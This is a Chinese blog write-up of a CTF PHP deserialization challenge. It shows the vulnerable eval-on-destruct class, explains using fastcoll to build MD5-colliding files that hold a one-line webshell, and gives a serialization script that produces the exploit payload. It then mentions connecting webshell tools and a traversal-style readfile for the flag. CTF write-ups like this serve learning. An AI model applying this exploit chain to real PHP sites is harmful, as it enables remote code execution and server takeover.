成理信安協會反序列化01-利用fastcoll實現md5碰撞

Riv3r1and發表於2020-10-10

雖然是反序列化的題目,但主要考點在利用fastcoll實現md5碰撞。

直接上原始碼

 <?php
show_source(__FILE__);
class CDUTSEC
{
    public $var1;
    public $var2;

    function __construct($var1, $var2)
    {
        $var1 = $var1;
        $var2 = $var2;
    }

    function __destruct()
    {
        echo md5($this->var1);
        echo md5($this->var2);
        if (($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2))) {
            eval($this->var1);
        }
    }
}

unserialize($_GET['payload']);

程式碼審計

  • 乍看上去很經典的md5碰撞題目,var1與var2原值弱比較不等md5編碼後強比較相等。想直接拿自己的屯的payload直接上?太年輕了!仔細看一看我們拿flag的唯一途徑是什麼?eval($this->var1);!你的字串不僅能夠實現md5碰撞以繞過,而且還必須實現命令注入。怎麼辦?這時候就要用到md5碰撞滴神器,fastcoll了!

fastcoll使用詳解

在我做題查閱各種fastcoll有關部落格的時候,發現很多隻是單純的介紹,而到具體使用卻寫的比較模糊。我這裡就結合題目寫一下。
首先,新建一個寫入一句話木馬的文字檔案。這裡加了?>目的就是讀完我們的一句話就提前結束,防止其他雜事。

然後把檔案丟到fastcoll裡跑一下(直接把檔案拖到程式上,或者用命令列./fastcoll_v1.0.0.5.exe呦~)

然後我們得到兩個檔案。這兩檔案讀到字串是不一樣的,但md5後是一樣的。

然後上我們的讀檔案和序列化指令碼。

其實就是主要用到file_get_contents函式,把檔案讀入字串。

<?php
class CDUTSEC{
    public $var1;
    public $var2;
}

$tr = new CDUTSEC();
$tr->var1 = file_get_contents('C:\Users\Riverland\Desktop\shell_msg1.txt');          
$tr->var2 = file_get_contents('C:\Users\Riverland\Desktop\shell_msg2.txt');

echo urlencode(serialize($tr));

傳個1=phpinfo();看看成功了沒有。

成功了。我們就歡樂滴騎上了馬。
菜刀蟻劍,或者直接readfile('../../../../../../flag');都可以。

相關文章